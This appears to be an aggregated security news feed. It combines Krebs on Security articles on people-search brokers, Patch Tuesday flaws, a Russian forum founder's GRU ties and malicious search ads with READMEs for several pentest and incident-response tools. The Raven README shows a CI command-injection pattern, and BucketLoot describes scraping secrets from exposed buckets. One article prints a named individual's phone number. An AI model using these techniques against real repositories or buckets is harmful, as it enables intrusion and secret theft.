    The main reason these various people-search sites require you to affirm that you won’t use their reports for hiring or vetting potential tenants is that selling reports for those purposes would classify these firms as consumer reporting agencies (CRAs) and expose them to regulations under the Fair Credit Reporting Act (FCRA).

    These data brokers do not want to be treated as CRAs, and for this reason their people search reports typically don’t include detailed credit histories, financial information, or full Social Security Numbers (Radaris reports include the first six digits of one’s SSN).

    But in September 2023, the U.S. Federal Trade Commission found that TruthFinder and Instant Checkmate were trying to have it both ways. The FTC levied a $5.8 million penalty against the companies for allegedly acting as CRAs because they assembled and compiled information on consumers into background reports that were marketed and sold for employment and tenant screening purposes.

    The FTC also found TruthFinder and Instant Checkmate deceived users about background report accuracy. The FTC alleges these companies made millions from their monthly subscriptions using push notifications and marketing emails that claimed that the subject of a background report had a criminal or arrest record, when the record was merely a traffic ticket.

    The FTC said both companies deceived customers by providing “Remove” and “Flag as Inaccurate” buttons that did not work as advertised. Rather, the “Remove” button removed the disputed information only from the report as displayed to that customer; however, the same item of information remained visible to other customers who searched for the same person.

    The FTC also said that when a customer flagged an item in the background report as inaccurate, the companies never took any steps to investigate those claims, to modify the reports, or to flag to other customers that the information had been disputed.

    There are a growing number of online reputation management companies that offer to help customers remove their personal information from people-search sites and data broker databases. There are, no doubt, plenty of honest and well-meaning companies operating in this space, but it has been my experience that a great many people involved in that industry have a background in marketing or advertising — not privacy.

    Also, some so-called data privacy companies may be wolves in sheep’s clothing. On March 14, KrebsOnSecurity published an abundance of evidence indicating that the CEO and founder of the data privacy company OneRep.com was responsible for launching dozens of people-search services over the years.

    Finally, some of the more popular people-search websites are notorious for ignoring requests from consumers seeking to remove their information, regardless of which reputation or removal service you use. Some force you to create an account and provide more information before you can remove your data. Even then, the information you worked hard to remove may simply reappear a few months later.

    This aptly describes countless complaints lodged against the data broker and people search giant Radaris. On March 8, KrebsOnSecurity profiled the co-founders of Radaris, two Russian brothers in Massachusetts who also operate multiple Russian-language dating services and affiliate programs.

    The truth is that these people-search companies will continue to thrive unless and until Congress begins to realize it’s time for some consumer privacy and data protection laws that are relevant to life in the 21st century. Duke University adjunct professor Justin Sherman says virtually all state privacy laws exempt records that might be considered “public” or “government” documents, including voting registries, property filings, marriage certificates, motor vehicle records, criminal records, court documents, death records, professional licenses, bankruptcy filings, and more.

    “Consumer privacy laws in California, Colorado, Connecticut, Delaware, Indiana, Iowa, Montana, Oregon, Tennessee, Texas, Utah, and Virginia all contain highly similar or completely identical carve-outs for ‘publicly available information’ or government records,” Sherman said.

    ☐ ☆ ✇ Krebs on Security

    Patch Tuesday, March 2024 Edition

    By: BrianKrebs — March 12th 2024 at 20:36

    Apple and Microsoft recently released software updates to fix dozens of security holes in their operating systems. Microsoft today patched at least 60 vulnerabilities in its Windows OS. Meanwhile, Apple’s new macOS Sonoma addresses at least 68 security weaknesses, and its latest update for iOS fixes two zero-day flaws.

    Last week, Apple pushed out an urgent software update to its flagship iOS platform, warning that there were at least two zero-day exploits for vulnerabilities being used in the wild (CVE-2024-23225 and CVE-2024-23296). The security updates are available in iOS 17.4, iPadOS 17.4, and iOS 16.7.6.

    Apple’s macOS Sonoma 14.4 Security Update addresses dozens of security issues. Jason Kitka, chief information security officer at Automox, said the vulnerabilities patched in this update often stem from memory safety issues, a concern that has led to a broader industry conversation about the adoption of memory-safe programming languages [full disclosure: Automox is an advertiser on this site].

    On Feb. 26, 2024, the Biden administration issued a report that calls for greater adoption of memory-safe programming languages. On Mar. 4, 2024, Google published Secure by Design, which lays out the company’s perspective on memory safety risks.

    Mercifully, there do not appear to be any zero-day threats hounding Windows users this month (at least not yet). Satnam Narang, senior staff research engineer at Tenable, notes that of the 60 CVEs in this month’s Patch Tuesday release, only six are considered “more likely to be exploited” according to Microsoft.

    Those more likely to be exploited bugs are mostly “elevation of privilege vulnerabilities” including CVE-2024-26182 (Windows Kernel), CVE-2024-26170 (Windows Composite Image File System (CimFS), CVE-2024-21437 (Windows Graphics Component), and CVE-2024-21433 (Windows Print Spooler).

    Narang highlighted CVE-2024-21390 as a particularly interesting vulnerability in this month’s Patch Tuesday release, which is an elevation of privilege flaw in Microsoft Authenticator, the software giant’s app for multi-factor authentication. Narang said a prerequisite for an attacker to exploit this flaw is to already have a presence on the device either through malware or a malicious application.

    “If a victim has closed and re-opened the Microsoft Authenticator app, an attacker could obtain multi-factor authentication codes and modify or delete accounts from the app,” Narang said. “Having access to a target device is bad enough as they can monitor keystrokes, steal data and redirect users to phishing websites, but if the goal is to remain stealth, they could maintain this access and steal multi-factor authentication codes in order to login to sensitive accounts, steal data or hijack the accounts altogether by changing passwords and replacing the multi-factor authentication device, effectively locking the user out of their accounts.”

    CVE-2024-21334 earned a CVSS (danger) score of 9.8 (10 is the worst), and it concerns a weakness in Open Management Infrastructure (OMI), a Linux-based cloud infrastructure in Microsoft Azure. Microsoft says attackers could connect to OMI instances over the Internet without authentication, and then send specially crafted data packets to gain remote code execution on the host device.

    CVE-2024-21435 is a CVSS 8.8 vulnerability in Windows OLE, which acts as a kind of backbone for a great deal of communication between applications that people use every day on Windows, said Ben McCarthy, lead cybersecurity engineer at Immersive Labs.

    “With this vulnerability, there is an exploit that allows remote code execution, the attacker needs to trick a user into opening a document, this document will exploit the OLE engine to download a malicious DLL to gain code execution on the system,” Breen explained. “The attack complexity has been described as low meaning there is less of a barrier to entry for attackers.”

    A full list of the vulnerabilities addressed by Microsoft this month is available at the SANS Internet Storm Center, which breaks down the updates by severity and urgency.

    Finally, Adobe today issued security updates that fix dozens of security holes in a wide range of products, including Adobe Experience Manager, Adobe Premiere Pro, ColdFusion 2023 and 2021, Adobe Bridge, Lightroom, and Adobe Animate. Adobe said it is not aware of active exploitation against any of the flaws.

    By the way, Adobe recently enrolled all of its Acrobat users into a “new generative AI feature” that scans the contents of your PDFs so that its new “AI Assistant” can  “understand your questions and provide responses based on the content of your PDF file.” Adobe provides instructions on how to disable the AI features and opt out here.

    ☐ ☆ ✇ KitPloit - PenTest Tools!

    MrHandler - Linux Incident Response Reporting

    By: Zion3R — February 17th 2024 at 23:30

     


    MR.Handler is a specialized tool designed for responding to security incidents on Linux systems. It connects to target systems via SSH to execute a range of diagnostic commands, gathering crucial information such as network configurations, system logs, user accounts, and running processes. At the end of its operation, the tool compiles all the gathered data into a comprehensive HTML report. This report details both the specifics of the incident response process and the current state of the system, enabling security analysts to more effectively assess and respond to incidents.



    𝗜𝗡𝗦𝗧𝗔𝗟𝗟𝗔𝗧𝗜𝗢𝗡 𝗜𝗡𝗦𝗧𝗥𝗨𝗖𝗧𝗜𝗢𝗡𝗦
      $ pip3 install colorama
    $ pip3 install paramiko
    $ git clone https://github.com/emrekybs/BlueFish.git
    $ cd MrHandler
    $ chmod +x MrHandler.py
    $ python3 MrHandler.py


    Report



    ☐ ☆ ✇ KitPloit - PenTest Tools!

    WEB-Wordlist-Generator - Creates Related Wordlists After Scanning Your Web Applications

    By: Zion3R — February 15th 2024 at 11:30


    WEB-Wordlist-Generator scans your web applications and creates related wordlists to take preliminary countermeasures against cyber attacks.


    Done
    • [x] Scan Static Files.
    • [ ] Scan Metadata Of Public Documents (pdf,doc,xls,ppt,docx,pptx,xlsx etc.)
    • [ ] Create a New Associated Wordlist with the Wordlist Given as a Parameter.

    Installation

    From Git
    git clone https://github.com/OsmanKandemir/web-wordlist-generator.git
    cd web-wordlist-generator && pip3 install -r requirements.txt
    python3 generator.py -d target-web.com

    From Dockerfile

    You can run this application on a container after build a Dockerfile.

    docker build -t webwordlistgenerator .
    docker run webwordlistgenerator -d target-web.com -o

    From DockerHub

    You can run this application on a container after pulling from DockerHub.

    docker pull osmankandemir/webwordlistgenerator:v1.0
    docker run osmankandemir/webwordlistgenerator:v1.0 -d target-web.com -o

    Usage
    -d DOMAINS [DOMAINS], --domains DOMAINS [DOMAINS] Input Multi or Single Targets. --domains target-web1.com target-web2.com
    -p PROXY, --proxy PROXY Use HTTP proxy. --proxy 0.0.0.0:8080
    -a AGENT, --agent AGENT Use agent. --agent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
    -o PRINT, --print PRINT Use Print outputs on terminal screen.



    ☐ ☆ ✇ Krebs on Security

    Fat Patch Tuesday, February 2024 Edition

    By: BrianKrebs — February 13th 2024 at 22:28

    Microsoft Corp. today pushed software updates to plug more than 70 security holes in its Windows operating systems and related products, including two zero-day vulnerabilities that are already being exploited in active attacks.

    Top of the heap on this Fat Patch Tuesday is CVE-2024-21412, a “security feature bypass” in the way Windows handles Internet Shortcut Files that Microsoft says is being targeted in active exploits. Redmond’s advisory for this bug says an attacker would need to convince or trick a user into opening a malicious shortcut file.

    Researchers at Trend Micro have tied the ongoing exploitation of CVE-2024-21412 to an advanced persistent threat group dubbed “Water Hydra,” which they say has being using the vulnerability to execute a malicious Microsoft Installer File (.msi) that in turn unloads a remote access trojan (RAT) onto infected Windows systems.

    The other zero-day flaw is CVE-2024-21351, another security feature bypass — this one in the built-in Windows SmartScreen component that tries to screen out potentially malicious files downloaded from the Web. Kevin Breen at Immersive Labs says it’s important to note that this vulnerability alone is not enough for an attacker to compromise a user’s workstation, and instead would likely be used in conjunction with something like a spear phishing attack that delivers a malicious file.

    Satnam Narang, senior staff research engineer at Tenable, said this is the fifth vulnerability in Windows SmartScreen patched since 2022 and all five have been exploited in the wild as zero-days. They include CVE-2022-44698 in December 2022, CVE-2023-24880 in March 2023, CVE-2023-32049 in July 2023 and CVE-2023-36025 in November 2023.

    Narang called special attention to CVE-2024-21410, an “elevation of privilege” bug in Microsoft Exchange Server that Microsoft says is likely to be exploited by attackers. Attacks on this flaw would lead to the disclosure of NTLM hashes, which could be leveraged as part of an NTLM relay or “pass the hash” attack, which lets an attacker masquerade as a legitimate user without ever having to log in.

    “We know that flaws that can disclose sensitive information like NTLM hashes are very valuable to attackers,” Narang said. “A Russian-based threat actor leveraged a similar vulnerability to carry out attacks – CVE-2023-23397 is an Elevation of Privilege vulnerability in Microsoft Outlook patched in March 2023.”

    Microsoft notes that prior to its Exchange Server 2019 Cumulative Update 14 (CU14), a security feature called Extended Protection for Authentication (EPA), which provides NTLM credential relay protections, was not enabled by default.

    “Going forward, CU14 enables this by default on Exchange servers, which is why it is important to upgrade,” Narang said.

    Rapid7’s lead software engineer Adam Barnett highlighted CVE-2024-21413, a critical remote code execution bug in Microsoft Office that could be exploited just by viewing a specially-crafted message in the Outlook Preview pane.

    “Microsoft Office typically shields users from a variety of attacks by opening files with Mark of the Web in Protected View, which means Office will render the document without fetching potentially malicious external resources,” Barnett said. “CVE-2024-21413 is a critical RCE vulnerability in Office which allows an attacker to cause a file to open in editing mode as though the user had agreed to trust the file.”

    Barnett stressed that administrators responsible for Office 2016 installations who apply patches outside of Microsoft Update should note the advisory lists no fewer than five separate patches which must be installed to achieve remediation of CVE-2024-21413; individual update knowledge base (KB) articles further note that partially-patched Office installations will be blocked from starting until the correct combination of patches has been installed.

    It’s a good idea for Windows end-users to stay current with security updates from Microsoft, which can quickly pile up otherwise. That doesn’t mean you have to install them on Patch Tuesday. Indeed, waiting a day or three before updating is a sane response, given that sometimes updates go awry and usually within a few days Microsoft has fixed any issues with its patches. It’s also smart to back up your data and/or image your Windows drive before applying new updates.

    For a more detailed breakdown of the individual flaws addressed by Microsoft today, check out the SANS Internet Storm Center’s list. For those admins responsible for maintaining larger Windows environments, it often pays to keep an eye on Askwoody.com, which frequently points out when specific Microsoft updates are creating problems for a number of users.

    ☐ ☆ ✇ Krebs on Security

    From Cybercrime Saul Goodman to the Russian GRU

    By: BrianKrebs — February 7th 2024 at 17:10

    In 2021, the exclusive Russian cybercrime forum Mazafaka was hacked. The leaked user database shows one of the forum’s founders was an attorney who advised Russia’s top hackers on the legal risks of their work, and what to do if they got caught. A review of this user’s hacker identities shows that during his time on the forums he served as an officer in the special forces of the GRU, the foreign military intelligence agency of the Russian Federation.

    Launched in 2001 under the tagline “Network terrorism,” Mazafaka would evolve into one of the most guarded Russian-language cybercrime communities. The forum’s member roster included a Who’s Who of top Russian cybercriminals, and it featured sub-forums for a wide range of cybercrime specialities, including malware, spam, coding and identity theft.

    One representation of the leaked Mazafaka database.

    In almost any database leak, the first accounts listed are usually the administrators and early core members. But the Mazafaka user information posted online was not a database file per se, and it was clearly edited, redacted and restructured by whoever released it. As a result, it can be difficult to tell which members are the earliest users.

    The original Mazafaka is known to have been launched by a hacker using the nickname “Stalker.” However, the lowest numbered (non-admin) user ID in the Mazafaka database belongs to another individual who used the handle “Djamix,” and the email address djamix@mazafaka[.]ru.

    From the forum’s inception until around 2008, Djamix was one of its most active and eloquent contributors. Djamix told forum members he was a lawyer, and nearly all of his posts included legal analyses of various public cases involving hackers arrested and charged with cybercrimes in Russia and abroad.

    “Hiding with purely technical parameters will not help in a serious matter,” Djamix advised Maza members in September 2007. “In order to ESCAPE the law, you need to KNOW the law. This is the most important thing. Technical capabilities cannot overcome intelligence and cunning.”

    Stalker himself credited Djamix with keeping Mazafaka online for so many years. In a retrospective post published to Livejournal in 2014 titled, “Mazafaka, from conception to the present day,” Stalker said Djamix had become a core member of the community.

    “This guy is everywhere,” Stalker said of Djamix. “There’s not a thing on [Mazafaka] that he doesn’t take part in. For me, he is a stimulus-irritant and thanks to him, Maza is still alive. Our rallying force!”

    Djamix told other forum denizens he was a licensed attorney who could be hired for remote or in-person consultations, and his posts on Mazafaka and other Russian boards show several hackers facing legal jeopardy likely took him up on this offer.

    “I have the right to represent your interests in court,” Djamix said on the Russian-language cybercrime forum Verified in Jan. 2011. “Remotely (in the form of constant support and consultations), or in person – this is discussed separately. As well as the cost of my services.”

    WHO IS DJAMIX?

    A search on djamix@mazafaka[.]ru at DomainTools.com reveals this address has been used to register at least 10 domain names since 2008. Those include several websites about life in and around Sochi, Russia, the site of the 2014 Winter Olympics, as well as a nearby coastal town called Adler. All of those sites say they were registered to an Aleksei Safronov from Sochi who also lists Adler as a hometown.

    The breach tracking service Constella Intelligence finds that the phone number associated with those domains — +7.9676442212 — is tied to a Facebook account for an Aleksei Valerievich Safronov from Sochi. Mr. Safronov’s Facebook profile, which was last updated in October 2022, says his ICQ instant messenger number is 53765. This is the same ICQ number assigned to Djamix in the Mazafaka user database.

    The Facebook account for Aleksey Safronov.

    A “Djamix” account on the forum privetsochi[.]ru (“Hello Sochi”) says this user was born Oct. 2, 1970, and that his website is uposter[.]ru. This Russian language news site’s tagline is, “We Create Communication,” and it focuses heavily on news about Sochi, Adler, Russia and the war in Ukraine, with a strong pro-Kremlin bent.

    Safronov’s Facebook profile also gives his Skype username as “Djamixadler,” and it includes dozens of photos of him dressed in military fatigues along with a regiment of soldiers deploying in fairly remote areas of Russia. Some of those photos date back to 2008.

    In several of the images, we can see a patch on the arm of Safronov’s jacket that bears the logo of the Spetsnaz GRU, a special forces unit of the Russian military. According to a 2020 report from the Congressional Research Service, the GRU operates both as an intelligence agency — collecting human, cyber, and signals intelligence — and as a military organization responsible for battlefield reconnaissance and the operation of Russia’s Spetsnaz military commando units.

    Mr. Safronov posted this image of himself on Facebook in 2016. The insignia of the GRU can be seen on his sleeve.

    “In recent years, reports have linked the GRU to some of Russia’s most aggressive and public intelligence operations,” the CRS report explains. “Reportedly, the GRU played a key role in Russia’s occupation of Ukraine’s Crimea region and invasion of eastern Ukraine, the attempted assassination of former Russian intelligence officer Sergei Skripal in the United Kingdom, interference in the 2016 U.S. presidential elections, disinformation and propaganda operations, and some of the world’s most damaging cyberattacks.”

    According to the Russia-focused investigative news outlet Meduza, in 2014 the Russian Defense Ministry created its “information-operation troops” for action in “cyber-confrontations with potential adversaries.”

    “Later, sources in the Defense Ministry explained that these new troops were meant to ‘disrupt the potential adversary’s information networks,'” Meduza reported in 2018. “Recruiters reportedly went looking for ‘hackers who have had problems with the law.'”

    Mr. Safronov did not respond to multiple requests for comment. A 2018 treatise written by Aleksei Valerievich Safronov titled “One Hundred Years of GRU Military Intelligence” explains the significance of the bat in the seal of the GRU.

    “One way or another, the bat is an emblem that unites all active and retired intelligence officers; it is a symbol of unity and exclusivity,” Safronov wrote. “And, in general, it doesn’t matter who we’re talking about – a secret GRU agent somewhere in the army or a sniper in any of the special forces brigades. They all did and are doing one very important and responsible thing.”

    It’s unclear what role Mr. Safronov plays or played in the GRU, but it seems likely the military intelligence agency would have exploited his considerable technical skills, knowledge and connections on the Russian cybercrime forums.

    Searching on Safronov’s domain uposter[.]ru in Constella Intelligence reveals that this domain was used in 2022 to register an account at a popular Spanish-language discussion forum dedicated to helping applicants prepare for a career in the Guardia Civil, one of Spain’s two national police forces. Pivoting on that Russian IP in Constella shows three other accounts were created at the same Spanish user forum around the same date.

    Mark Rasch is a former cybercrime prosecutor for the U.S. Department of Justice who now serves as chief legal officer for the New York cybersecurity firm Unit 221B. Rasch said there has always been a close relationship between the GRU and the Russian hacker community, noting that in the early 2000s the GRU was soliciting hackers with the skills necessary to hack US banks in order to procure funds to help finance Russia’s war in Chechnya.

    “The guy is heavily hooked into the Russian cyber community, and that’s useful for intelligence services,” Rasch said. “He could have been infiltrating the community to monitor it for the GRU. Or he could just be a guy wearing a military uniform.”

    ☐ ☆ ✇ KitPloit - PenTest Tools!

    BucketLoot - An Automated S3-compatible Bucket Inspector

    By: Zion3R — January 29th 2024 at 11:30


    BucketLoot is an automated S3-compatible Bucket inspector that can help users extract assets, flag secret exposures and even search for custom keywords as well as Regular Expressions from publicly-exposed storage buckets by scanning files that store data in plain-text.

    The tool can scan for buckets deployed on Amazon Web Services (AWS), Google Cloud Storage (GCS), DigitalOcean Spaces and even custom domains/URLs which could be connected to these platforms. It returns the output in a JSON format, thus enabling users to parse it according to their liking or forward it to any other tool for further processing.

    BucketLoot comes with a guest mode by default, which means a user doesn't needs to specify any API tokens / Access Keys initially in order to run the scan. The tool will scrape a maximum of 1000 files that are returned in the XML response and if the storage bucket contains more than 1000 entries which the user would like to run the scanner on, they can provide platform credentials to run a complete scan. If you'd like to know more about the tool, make sure to check out our blog.

    Features

    Secret Scanning

    Scans for over 80+ unique RegEx signatures that can help in uncovering secret exposures tagged with their severity from the misconfigured storage bucket. Users have the ability to modify or add their own signatures in the regexes.json file. If you believe you have any cool signatures which might be helpful for others too and could be flagged at scale, go ahead and make a PR!

    Sensitive File Checks

    Accidental sensitive file leakages are a big problem that affects the security posture of individuals and organisations. BucketLoot comes with a 80+ unique regEx signatures list in vulnFiles.json which allows users to flag these sensitive files based on file names or extensions.

    Dig Mode

    Want to quickly check if any target website is using a misconfigured bucket that is leaking secrets or any other sensitive data? Dig Mode allows you to pass non-S3 targets and let the tool scrape URLs from response body for scanning.

    Asset Extraction

    Interested in stepping up your asset discovery game? BucketLoot extracts all the URLs/Subdomains and Domains that could be present in an exposed storage bucket, enabling you to have a chance of discovering hidden endpoints, thus giving you an edge over the other traditional recon tools.

    Searching

    The tool goes beyond just asset discovery and secret exposure scanning by letting users search for custom keywords and even Regular Expression queries which may help them find exactly what they are looking for.

    To know more about our Attack Surface Management platform, check out NVADR.



    ☐ ☆ ✇ KitPloit - PenTest Tools!

    Raven - CI/CD Security Analyzer

    By: Zion3R — January 28th 2024 at 11:30


    RAVEN (Risk Analysis and Vulnerability Enumeration for CI/CD) is a powerful security tool designed to perform massive scans for GitHub Actions CI workflows and digest the discovered data into a Neo4j database. Developed and maintained by the Cycode research team.

    With Raven, we were able to identify and report security vulnerabilities in some of the most popular repositories hosted on GitHub, including:

    We listed all vulnerabilities discovered using Raven in the tool Hall of Fame.


    What is Raven

    The tool provides the following capabilities to scan and analyze potential CI/CD vulnerabilities:

    • Downloader: You can download workflows and actions necessary for analysis. Workflows can be downloaded for a specified organization or for all repositories, sorted by star count. Performing this step is a prerequisite for analyzing the workflows.
    • Indexer: Digesting the downloaded data into a graph-based Neo4j database. This process involves establishing relationships between workflows, actions, jobs, steps, etc.
    • Query Library: We created a library of pre-defined queries based on research conducted by the community.
    • Reporter: Raven has a simple way of reporting suspicious findings. As an example, it can be incorporated into the CI process for pull requests and run there.

    Possible usages for Raven:

    • Scanner for your own organization's security
    • Scanning specified organizations for bug bounty purposes
    • Scan everything and report issues found to save the internet
    • Research and learning purposes

    This tool provides a reliable and scalable solution for CI/CD security analysis, enabling users to query bad configurations and gain valuable insights into their codebase's security posture.

    Why Raven

    In the past year, Cycode Labs conducted extensive research on fundamental security issues of CI/CD systems. We examined the depths of many systems, thousands of projects, and several configurations. The conclusion is clear – the model in which security is delegated to developers has failed. This has been proven several times in our previous content:

    • A simple injection scenario exposed dozens of public repositories, including popular open-source projects.
    • We found that one of the most popular frontend frameworks was vulnerable to the innovative method of branch injection attack.
    • We detailed a completely different attack vector, 3rd party integration risks, the most popular project on GitHub, and thousands more.
    • Finally, the Microsoft 365 UI framework, with more than 300 million users, is vulnerable to an additional new threat – an artifact poisoning attack.
    • Additionally, we found, reported, and disclosed hundreds of other vulnerabilities privately.

    Each of the vulnerabilities above has unique characteristics, making it nearly impossible for developers to stay up to date with the latest security trends. Unfortunately, each vulnerability shares a commonality – each exploitation can impact millions of victims.

    It was for these reasons that Raven was created, a framework for CI/CD security analysis workflows (and GitHub Actions as the first use case). In our focus, we examined complex scenarios where each issue isn't a threat on its own, but when combined, they pose a severe threat.

    Setup && Run

    To get started with Raven, follow these installation instructions:

    Step 1: Install the Raven package

    pip3 install raven-cycode

    Step 2: Setup a local Redis server and Neo4j database

    docker run -d --name raven-neo4j -p7474:7474 -p7687:7687 --env NEO4J_AUTH=neo4j/123456789 --volume raven-neo4j:/data neo4j:5.12
    docker run -d --name raven-redis -p6379:6379 --volume raven-redis:/data redis:7.2.1

    Another way to setup the environment is by running our provided docker compose file:

    git clone https://github.com/CycodeLabs/raven.git
    cd raven
    make setup

    Step 3: Run Raven Downloader

    Org mode:

    raven download org --token $GITHUB_TOKEN --org-name RavenDemo

    Crawl mode:

    raven download crawl --token $GITHUB_TOKEN --min-stars 1000

    Step 4: Run Raven Indexer

    raven index

    Step 5: Inspect the results through the reporter

    raven report --format raw

    At this point, it is possible to inspect the data in the Neo4j database, by connecting http://localhost:7474/browser/.

    Prerequisites

    • Python 3.9+
    • Docker Compose v2.1.0+
    • Docker Engine v1.13.0+

    Infrastructure

    Raven is using two primary docker containers: Redis and Neo4j. make setup will run a docker compose command to prepare that environment.

    Usage

    The tool contains three main functionalities, download and index and report.

    Download

    Download Organization Repositories

    usage: raven download org [-h] --token TOKEN [--debug] [--redis-host REDIS_HOST] [--redis-port REDIS_PORT] [--clean-redis] --org-name ORG_NAME

    options:
    -h, --help show this help message and exit
    --token TOKEN GITHUB_TOKEN to download data from Github API (Needed for effective rate-limiting)
    --debug Whether to print debug statements, default: False
    --redis-host REDIS_HOST
    Redis host, default: localhost
    --redis-port REDIS_PORT
    Redis port, default: 6379
    --clean-redis, -cr Whether to clean cache in the redis, default: False
    --org-name ORG_NAME Organization name to download the workflows

    Download Public Repositories

    usage: raven download crawl [-h] --token TOKEN [--debug] [--redis-host REDIS_HOST] [--redis-port REDIS_PORT] [--clean-redis] [--max-stars MAX_STARS] [--min-stars MIN_STARS]

    options:
    -h, --help show this help message and exit
    --token TOKEN GITHUB_TOKEN to download data from Github API (Needed for effective rate-limiting)
    --debug Whether to print debug statements, default: False
    --redis-host REDIS_HOST
    Redis host, default: localhost
    --redis-port REDIS_PORT
    Redis port, default: 6379
    --clean-redis, -cr Whether to clean cache in the redis, default: False
    --max-stars MAX_STARS
    Maximum number of stars for a repository
    --min-stars MIN_STARS
    Minimum number of stars for a repository, default : 1000

    Index

    usage: raven index [-h] [--redis-host REDIS_HOST] [--redis-port REDIS_PORT] [--clean-redis] [--neo4j-uri NEO4J_URI] [--neo4j-user NEO4J_USER] [--neo4j-pass NEO4J_PASS]
    [--clean-neo4j] [--debug]

    options:
    -h, --help show this help message and exit
    --redis-host REDIS_HOST
    Redis host, default: localhost
    --redis-port REDIS_PORT
    Redis port, default: 6379
    --clean-redis, -cr Whether to clean cache in the redis, default: False
    --neo4j-uri NEO4J_URI
    Neo4j URI endpoint, default: neo4j://localhost:7687
    --neo4j-user NEO4J_USER
    Neo4j username, default: neo4j
    --neo4j-pass NEO4J_PASS
    Neo4j password, default: 123456789
    --clean-neo4j, -cn Whether to clean cache, and index f rom scratch, default: False
    --debug Whether to print debug statements, default: False

    Report

    usage: raven report [-h] [--redis-host REDIS_HOST] [--redis-port REDIS_PORT] [--clean-redis] [--neo4j-uri NEO4J_URI]
    [--neo4j-user NEO4J_USER] [--neo4j-pass NEO4J_PASS] [--clean-neo4j]
    [--tag {injection,unauthenticated,fixed,priv-esc,supply-chain}]
    [--severity {info,low,medium,high,critical}] [--queries-path QUERIES_PATH] [--format {raw,json}]
    {slack} ...

    positional arguments:
    {slack}
    slack Send report to slack channel

    options:
    -h, --help show this help message and exit
    --redis-host REDIS_HOST
    Redis host, default: localhost
    --redis-port REDIS_PORT
    Redis port, default: 6379
    --clean-redis, -cr Whether to clean cache in the redis, default: False
    --neo4j-uri NEO4J_URI
    Neo4j URI endpoint, default: neo4j://localhost:7687
    --neo4j-user NEO4J_USER
    Neo4j username, default: neo4j
    --neo4j-pass NEO4J_PASS
    Neo4j password, default: 123456789
    --clean-neo4j, -cn Whether to clean cache, and index from scratch, default: False
    --tag {injection,unauthenticated,fixed,priv-esc,supply-chain}, -t {injection,unauthenticated,fixed,priv-esc,supply-chain}
    Filter queries with specific tag
    --severity {info,low,medium,high,critical}, -s {info,low,medium,high,critical}
    Filter queries by severity level (default: info)
    --queries-path QUERIES_PATH, -dp QUERIES_PATH
    Queries folder (default: library)
    --format {raw,json}, -f {raw,json}
    Report format (default: raw)

    Examples

    Retrieve all workflows and actions associated with the organization.

    raven download org --token $GITHUB_TOKEN --org-name microsoft --org-name google --debug

    Scrape all publicly accessible GitHub repositories.

    raven download crawl --token $GITHUB_TOKEN --min-stars 100 --max-stars 1000 --debug

    After finishing the download process or if interrupted using Ctrl+C, proceed to index all workflows and actions into the Neo4j database.

    raven index --debug

    Now, we can generate a report using our query library.

    raven report --severity high --tag injection --tag unauthenticated

    Rate Limiting

    For effective rate limiting, you should supply a Github token. For authenticated users, the next rate limiting applies:

    • Code search - 30 queries per minute
    • Any other API - 5000 per hour

    Research Knowledge Base

    Current Limitations

    • It is possible to run external action by referencing a folder with a Dockerfile (without action.yml). Currently, this behavior isn't supported.
    • It is possible to run external action by referencing a docker container through the docker://... URL. Currently, this behavior isn't supported.
    • It is possible to run an action by referencing it locally. This creates complex behavior, as it may come from a different repository that was checked out previously. The current behavior is trying to find it in the existing repository.
    • We aren't modeling the entire workflow structure. If additional fields are needed, please submit a pull request according to the contribution guidelines.

    Future Research Work

    • Implementation of taint analysis. Example use case - a user can pass a pull request title (which is controllable parameter) to an action parameter that is named data. That action parameter may be used in a run command: - run: echo ${{ inputs.data }}, which creates a path for a code execution.
    • Expand the research for findings of harmful misuse of GITHUB_ENV. This may utilize the previous taint analysis as well.
    • Research whether actions/github-script has an interesting threat landscape. If it is, it can be modeled in the graph.

    Want more of CI/CD Security, AppSec, and ASPM? Check out Cycode

    If you liked Raven, you would probably love our Cycode platform that offers even more enhanced capabilities for visibility, prioritization, and remediation of vulnerabilities across the software delivery.

    If you are interested in a robust, research-driven Pipeline Security, Application Security, or ASPM solution, don't hesitate to get in touch with us or request a demo using the form https://cycode.com/book-a-demo/.



    ☐ ☆ ✇ The Hacker News

    Perfecting the Defense-in-Depth Strategy with Automation

    By: The Hacker News — January 26th 2024 at 11:04
    Medieval castles stood as impregnable fortresses for centuries, thanks to their meticulous design. Fast forward to the digital age, and this medieval wisdom still echoes in cybersecurity. Like castles with strategic layouts to withstand attacks, the Defense-in-Depth strategy is the modern counterpart — a multi-layered approach with strategic redundancy and a blend of passive and active security
    ☐ ☆ ✇ Krebs on Security

    Using Google Search to Find Software Can Be Risky

    By: BrianKrebs — January 25th 2024 at 18:38

    Google continues to struggle with cybercriminals running malicious ads on its search platform to trick people into downloading booby-trapped copies of popular free software applications. The malicious ads, which appear above organic search results and often precede links to legitimate sources of the same software, can make searching for software on Google a dicey affair.

    Google says keeping users safe is a top priority, and that the company has a team of thousands working around the clock to create and enforce their abuse policies. And by most accounts, the threat from bad ads leading to backdoored software has subsided significantly compared to a year ago.

    But cybercrooks are constantly figuring out ingenious ways to fly beneath Google’s anti-abuse radar, and new examples of bad ads leading to malware are still too common.

    For example, a Google search earlier this week for the free graphic design program FreeCAD produced the following result, which shows that a “Sponsored” ad at the top of the search results is advertising the software available from freecad-us[.]org. Although this website claims to be the official FreeCAD website, that honor belongs to the result directly below — the legitimate freecad.org.

    How do we know freecad-us[.]org is malicious? A review at DomainTools.com show this domain is the newest (registered Jan. 19, 2024) of more than 200 domains at the Internet address 93.190.143[.]252 that are confusingly similar to popular software titles, including dashlane-project[.]com, filezillasoft[.]com, keepermanager[.]com, and libreofficeproject[.]com.

    Some of the domains at this Netherlands host appear to be little more than software review websites that steal content from established information sources in the IT world, including Gartner, PCWorld, Slashdot and TechRadar.

    Other domains at 93.190.143[.]252 do serve actual software downloads, but none of them are likely to be malicious if one visits the sites through direct navigation. If one visits openai-project[.]org and downloads a copy of the popular Windows desktop management application Rainmeter, for example, the file that is downloaded has the same exact file signature as the real Rainmeter installer available from rainmeter.net.

    But this is only a ruse, says Tom Hegel, principal threat researcher at the security firm Sentinel One. Hegel has been tracking these malicious domains for more than a year, and he said the seemingly benign software download sites will periodically turn evil, swapping out legitimate copies of popular software titles with backdoored versions that will allow cybercriminals to remotely commander the systems.

    “They’re using automation to pull in fake content, and they’re rotating in and out of hosting malware,” Hegel said, noting that the malicious downloads may only be offered to visitors who come from specific geographic locations, like the United States. “In the malicious ad campaigns we’ve seen tied to this group, they would wait until the domains gain legitimacy on the search engines, and then flip the page for a day or so and then flip back.”

